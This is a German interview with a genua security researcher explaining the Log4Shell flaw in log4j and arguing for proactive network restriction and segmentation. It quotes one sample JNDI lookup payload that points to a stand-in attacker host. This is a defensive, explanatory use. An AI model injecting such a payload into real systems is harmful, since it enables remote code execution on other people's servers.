Interviews
Log4shell löst Alarmstufe Rot aus
genua Expertentipp: Resiliente IT-Sicherheit aufbauen und Aktionismus vermeiden
Seit einigen Tagen ist eine neue kritische Sicherheitslücke öffentlich bekannt, welche es einem Angreifer auf eine erschreckend einfache Weise erlaubt, beliebigen Code auf dem System des Opfers auszuführen. Die Lücke steckt in einer scheinbar unbedeutenden Funktionalität – dem Loggen von Informationen für Monitoring, Auswertungen oder Debugging. Bei Java-Applikationen ist dafür die log4j-Bibliothek sehr verbreitet und wird sowohl in kritischer Software wie Cloud-Infrastruktur, Kollaborations-Tools, Videokonferenzsystemen und IT-Sicherheitsprodukten verwendet, aber auch in Spielen wie Minecraft. Betroffen sind sowohl kleine Softwarehersteller, aber auch Branchengrößen wie Amazon, Cisco oder IBM.
Entsprechend hochkarätig und lukrativ sind die Ziele, sodass sowohl kriminelle als auch staatliche Angreifer diese Lücke eifrig ausnutzen. In bereits hunderttausenden Cyber-Angriffen werden Server von Unternehmen und staatlichen Institutionen kompromittiert, Ramsomware und Krypto-Miner installiert und Daten gestohlen.
Wessen Sicherheitsstrategie sich darauf konzentriert, immer nur schnell die neuesten Patches der Hersteller einzuspielen, steht vor einem Problem. Die Nutzung der Logging-Bibliothek ist so verbreitet in kommerziellen Produkten, freier Software aber auch firmeninterner Software, dass nur mit großem Aufwand überhaupt festzustellen ist, welche Produkte betroffen ist. Nicht in allen Fällen gibt es bereits Updates oder wird es sie überhaupt geben. Und während man noch mit der Bestandsaufnahme und ersten Patches beschäftigt ist, laufen die Angriffe weiter und gefährden die Sicherheit der eigenen Infrastruktur. Dazu existiert die Lücke bereits seit mindestens sieben Jahren, nur wurde sie jetzt erst öffentlich bekannt.
Steffen Ullrich, Sicherheitsforscher bei genua, sieht einen längerfristigen Handlungsbedarf, um zukünftige Cyber-Attacken souverän und proaktiv abzuwehren.
Die Erwartung eines Softwareentwicklers ist hier ganz klar, dass ein einfaches Logging dieser Daten keine kritischen Nebeneffekte haben darf. Diese Erwartung wurde von log4j nicht erfüllt.
Steffen Ullrich, Sicherheitsforscher bei genua
Herr Ullrich, was unterscheidet die Log4shell-Attacken von anderen Angriffsszenarien?
Steffen Ullrich: Das Ursache-Wirkungs-Verhältnis erreicht hier ein neues Ausmaß. Ein einfach auszunutzender Fehler in einer unscheinbaren Komponente führt innerhalb weniger Tage zu einer globalen Ausbreitung von Cyber-Angriffen, quasi ein „perfekter Sturm“ zugunsten der Hacker. Dazu kommt eine schwer einzuschätzende Angriffsfläche zusammen in Verbindung mit einem gewachsenes Ökosystem an Software, welche mehr oder weniger gut gepflegt ist.
Die Lücke kann durch eine einfache Log-Meldung ausgenutzt werden, bei der der Angreifer einen Teil der Meldung kontrolliert. Das ist sehr häufig der Fall, d. h. z. B. das Logging von Nutzernamen, Browserversionen, Kommandos ... Die Erwartung eines Softwareentwicklers ist hier ganz klar, dass ein einfaches Logging dieser Daten keine kritischen Nebeneffekte haben darf. Diese Erwartung wurde von log4j leider nicht erfüllt. Stattdessen kann durch einfache Meldungen wie
${jndi:ldap://attacker.example/a}
den Download eines Java-Objekts von dem angegeben Server bewirken. Die anschließende Instanziierung des Objekts führt dann zu der Ausführung des vom Angreifer gelieferten Codes.
Derartige Log-Meldungen können vom Angreifer auf verschiedene Weise bewirkt werden. Entsprechende Informationen können direkt in Web-Anfragen enthalten sein, aber auch über Mails, Chat, Datenbankabfragen o. ä. transportiert werden. Das macht eine Beurteilung der Angriffsfläche und darauf aufbauend eine zuverlässige Abwehr der Angriffe schwierig. Dazu bietet log4j eine Vielfalt an Möglichkeiten die Angriffe zu verschleiern, sodass ein Angreifer sich an klassischen Signature-basierten Intrusion Detection Systemen und Web Application Firewalls, aber auch an der nachträglichen Analyse von Logdaten vorbei schummeln kann.
Nun sind erneut Systeme und Anwendungen betroffen, die als sicher galten …
Steffen Ullrich: Das sich vermeintlich sichere Systeme als verwundbar erweisen, halte ich für wenig überraschend. Software und Infrastrukturen werden immer komplexer, was zum Einen neue Angriffsflächen schafft sowie gleichzeitig eine solide Analyse und darauf aufbauende Absicherung schwieriger gestaltet.
Dieses geht seit langem einher mit einem Trend zu möglichst großer Flexibilität, egal ob sie tatsächlich benötigt wird oder nicht. Dabei bietet eine hohe Flexibilität zwar mehr geplante Möglichkeiten für einen Anwender, aber typischerweise auch deutlich mehr ungeplante Wege für einen Angreifer. Es ist wie mit einem Eisberg – man sieht nur einen kleinen Teil: die Möglichkeiten und nicht die Gefahren.
Die aktuelle Sicherheitslücke in log4j ist dafür ein gutes Beispiel. Die flexible Architektur und die mächtigen Möglichkeiten zur String-Expansion innerhalb von Log-Meldungen gehen weit über das nötige und vom Entwickler erwarte hinaus. Hervorzuheben ist dabei die Einbettung des mächtigen und flexiblen Java Naming and Directory Interface (JNDI), welches ermöglicht, beliebige Java-Objekte von externen System nachzuladen und zu instanzieren. Ergänzt wird dies um eine weitere Mächtigkeit und Flexibilität von Java, die ein Nachladen der Implementation der Objektklasse ebenfalls von einem externen System ermöglicht.
Derartige Designentscheidungen mit Fokus auf Flexibilität ermöglichen eine schnellere Softwareentwicklung, aber gefährden klar die Sicherheit. Damit sind sie höchstens tauglich für klar vertrauenswürdige Umgebungen, aber definitiv nicht für eine Anbindung an das Internet. Diese unsicheren Designs haben bereits in der Vergangenheit Probleme bereitet, bereiten in Log4Shell aktuell Probleme und werden uns ziemlich sicher in Zukunft in weiteren Sicherheitslücken begegnen.
Den Fokus auf Flexibilität sehen wir aber auch in Netzinfrastrukturen. Anwendungen werden in ihrer Kommunikation kaum begrenzt, oftmals auch weil nicht klar ist, was eigentlich erlaubte Kommunikation darstellt. Dabei würde eine klare Restriktion der Kommunikation auf das Nötige im Falle von Log4Shell zwar nicht die Lücke an sich beseitigen, aber deren Ausnutzbarkeit verhindern.
Warum ist das riskant?
Steffen Ullrich: Hohe Flexibilität von Software erhöht signifikant deren Angriffsfläche. Unzureichende Restriktionen in Netzen wiederum machen implizit diese große Angriffsfläche einem Angreifer zugänglich. Damit zwingt es IT-Verantwortliche dazu, bei neu bekanntwerdenden Lücken reaktiv und aktionistisch zu handeln. Passende und möglichst enge Restriktionen hingegen bieten eine proaktive Mitigation, selbst wenn die Lücke noch nicht bekannt ist. Dieses bringt nicht nur mehr Sicherheit, sondern auch mehr Entspannung und Planbarkeit in den Betrieb der Infrastruktur.
Was sollten IT-Security-Verantwortliche stattdessen tun?
Steffen Ullrich: Im aktuellen Fall in erster Linie natürlich sämtliche betroffene Software identifizieren und patchen bzw. die Lücke durch die öffentlich dokumentierten Methoden mitigieren.
Als Entwickler bzw. Betreiber sollte man sicherstellen, dass die Erwartungen an die Software tatsächlich zu den Designentscheidungen in der Software passen. Denn bei Log4Shell handelt es sich nicht etwa um einen unabsichtlichen Bug, sondern um eine klare Designentscheidung, welche allerdings nicht zu den Erwartungen der Nutzer und zu den Einsatzzwecken passte.
Der dritte und vielleicht wichtigste Punkt ist aber ein Mentalitätswechsel in der IT- und IT-Security-Organisation: Davon ausgehen, dass Software unsicher ist und proaktiv begrenzen, welcher Schaden angerichtet werden kann. Dazu gehört die Kommunikationsmöglichkeiten der Software auf das nötige zu begrenzen, z. B. durch Zero-Trust-Konzepte wie Mikrosegmentierung oder eine Netzsegmentierung und Perimeterkontrolle mit Firewalls.
Hinweis der Redaktion:
In unseren Produkten wird die log4j Library nicht verwendet, der Einsatz von genua-Lösungen ist damit sicher. Unsere Kunden wurden zeitnah nach Bekanntwerden des Vorfalls dazu informiert.